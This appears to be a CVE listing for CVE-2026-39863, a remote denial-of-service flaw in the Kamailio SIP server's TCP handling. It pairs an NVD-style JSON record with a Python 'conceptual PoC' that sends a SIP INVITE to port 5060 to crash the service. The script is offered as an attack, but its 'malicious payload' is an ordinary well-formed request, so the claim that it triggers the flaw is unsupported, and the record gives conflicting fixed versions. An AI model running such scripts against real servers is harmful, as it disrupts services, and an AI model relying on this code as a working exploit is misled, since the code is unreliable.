CVE-2026-39863

import socket # Target Kamailio server with TCP listener target_host = "127.0.0.1" target_port = 5060 # Conceptual PoC: Sending a crafted SIP packet to trigger OOB read/write # The specific payload structure depends on the vulnerable parsing function. # This example sends a malformed SIP request over TCP. payload = b"INVITE sip:target@kamailio SIP/2.0\r\n" payload += b"Via: SIP/2.0/TCP attacker;branch=z9hG4bK-exploit\r\n" payload += b"Content-Length: 0\r\n" payload += b"\r\n" try: print(f"[+] Connecting to {target_host}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) print("[+] Sending malicious payload...") s.send(payload) print("[+] Payload sent. Check if the service crashed.") s.close() except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-39863", "sourceIdentifier": "[email protected]", "published": "2026-04-08T20:16:26.550", "lastModified": "2026-04-15T15:58:04.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kamailio is an open source implementation of a SIP Signaling Server. Prior to 6.1.1, 6.0.6, and 5.8.8, an out-of-bounds access in the core of Kamailio (formerly OpenSER and SER) allows remote attackers to cause a denial of service (process crash) via a specially crafted data packet sent over TCP. The issue impacts Kamailio instances having TCP or TLS listeners. This vulnerability is fixed in 5.1.1, 6.0.6, and 5.8.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kamailio:kamailio:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8.8", "matchCriteriaId": "3B40580E-F077-4ECD-A293-C5376753A14F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kamailio:kamailio:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.6", "matchCriteriaId": "EEF7235B-DFA7-4445-81F2-490609E9FCD6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kamailio:kamailio:6.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "4A33A90A-7EC3-407F-BD7B-E13A2617B59D"}]}]}], "references": [{"url": "https://github.com/kamailio/kamailio/security/advisories/GHSA-2wj4-f825-2h2f", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}